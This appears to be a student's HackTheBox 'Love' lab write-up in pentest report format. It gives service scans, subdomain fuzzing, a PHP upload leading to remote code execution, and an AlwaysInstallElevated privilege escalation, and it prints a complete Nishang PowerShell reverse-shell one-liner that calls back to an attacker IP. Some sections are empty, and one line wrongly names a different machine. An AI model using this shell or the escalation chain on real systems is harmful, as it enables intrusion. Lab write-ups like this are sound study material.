HTB - Love - EN
HTB - Love - EN
1 - Love
Love
A machine of: HackTheBox
2 - Love
TABLE OF CONTENTS
1 Pentesting report
1.1 Introduction��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������4
1.2 Objective��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������4
1.3 Requirements���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������4
3 Methodology
3.1 Collection of information��������������������������������������������������������������������������������������������������������������������������������������������������������6
4 Penetration
4.1 List of Services��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������6
4.2 Pre-exploitation����������������������������������������������������������������������������������������������������������������������������������������������������������������������������8
1 Pentesting report
1.1 Introduction
This report contains all the efforts that went into completing the HackTheBox Love machine
This report will be scored from a point of view of correctness and completeness in all aspects of the
exam.
The objective of this report is to ensure that the student, in this case, Jorge Testa, has a complete unders-
tanding of the methodologies of a pentesting exercise as well as to demonstrate that he also possesses
the technical knowledge necessary to successfully complete the OSCP certification using this report as a
model to document the machines that it violates in the different laboratories.
1.2 Objective
The objective of this installment is to perform an internal penetration test against the Love machine
from the HackTheBox network.
The student is tasked with following a methodical approach to gain access to the set goals.
This test should simulate a real penetration test and how you would start from start to finish, including
the general report.
1.3 Requirements
The student must complete this penetration test report in its entirety and include the following sections:
The objective of this test is to carry out attacks, similar to those of a malicious entity, and to try to infiltra-
te the internal laboratory systems of the target machine: HackTheBox.
Jorge Testa’s overall goal was to assess the network, identify systems, and exploit failures while doing
this report.
When conducting the internal penetration test, there were several alarming vulnerabilities that were
identified within the network. Jorge has had administrative level access to multiple systems.
• 10.129.48.103 (Love):
Plain text credentials in the test platform and remote code execution via php - File upload without res-
trictions and privilege escalation thanks to a bad configuration in the AlwaysInstallElevated directive
2.1 Recommendations
It is recommended to patch the vulnerabilities identified during the penetration test to ensure that a
real attacker will not be able to exploit such systems in the future. One of the important things to re-
member is that these systems need patches and updates, and once patched, they should remain under
the cover of a patching program to mitigate additional vulnerabilities that could be discovered at a later
date than this penetration test.
However, concrete solutions to those specific vulnerabilities are included in later sections.
3 Methodology
Jorge Testa has used a widely adopted approach to penetration testing that is effective in testing how
well the environment of the HackTheBox machine is protected.
Below is a breakdown of how the system could be identified and exploited and includes all individual
vulnerabilities found
6 - Love
This report is made based on the exercise called Love, which in turn has a machine under the same
name Knife belonging to the HackTheBox platform.
Difficulty: Easy
URL: https://app.hackthebox.eu/machines/344
4 Penetration
The steps that have been carried out on the machine are described in detail below when operating the
system and captures and / or codes as well as proofs of concept (PoC) will be attached.
This information is of great strategic value for an attacker as it provides detailed information on potential
attack vectors on that target.
Understanding and knowing what applications and services are running on the system provides vital
information to an attacker before running the penetration test.
4.2 Pre-exploitation
Exploited Vulnerability:
Plain text credentials in the test platform and remote code execution via php - File upload without res-
trictions
Vulnerable System:
10.129.48.103
After obtaining the platform administrator’s credentials by accessing them thanks to the malicious
use of the test platform found in the “staging” subdomain that the developers did not remove after the
release of the application version, it was discovered that The platform allows unrestricted file uploading
and file execution by uploading malicious php files from the control panel due to misconfiguration of
directory permissions and file uploads.
The vulnerability allows remote code execution that allows downloading and executing a payload that
will give us access to a reverse shell with the user name “Phoebe”
Vulnerability Solution:
Eliminate all traces and access to the test platforms, as well as a correct configuration of the permissions
and accesses of the directories and implement a correct file upload restriction
Severity:
Critical
9 - Love
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after: 2022-01-18T14:00:16
| MD5: bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host ‘10.10.14.139’ is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after: 2024-04-10T14:39:19
| MD5: d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2021-10-02T12:50:07+00:00; +21m50s from scanner time.
| tls-alpn:
|_ http/1.1
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
10 - Love
Nikto Report:
Fuff Report:
:: Method : GET
:: URL : http://love.htb
:: Wordlist : FUZZ: /usr/share/wordlists/onelistforallshort.txt
:: Header : Host: FUZZ.love.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 654
________________________________________________
RCE demo:
Payload content:
# Nishang - Invoke-PowerShellTcpOneLine.ps1
└─$ cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.139”,9999);$stream = $client.GetS-
tream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data
= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + “PS “ + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).
GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
15 - Love
Vulnerable System:
10.129.48.103
The AlwaysInstallElevated directive allows you to install any windows package in privileged .MSI format.
When creating the payload with msfvenom that contains the necessary commands to create a user, we
can use the winrm service to log in with that user who will have administrator privileges.
Vulnerability Solution:
Severity:
Critical
Registry query:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
18 - Love
Often times, snippets of tools or user accounts are left on the system of an organization that has just
passed a penetration test.
Ensuring that we are meticulous and do not leave traces of our and / or tests from our penetration test is
a task of the utmost importance.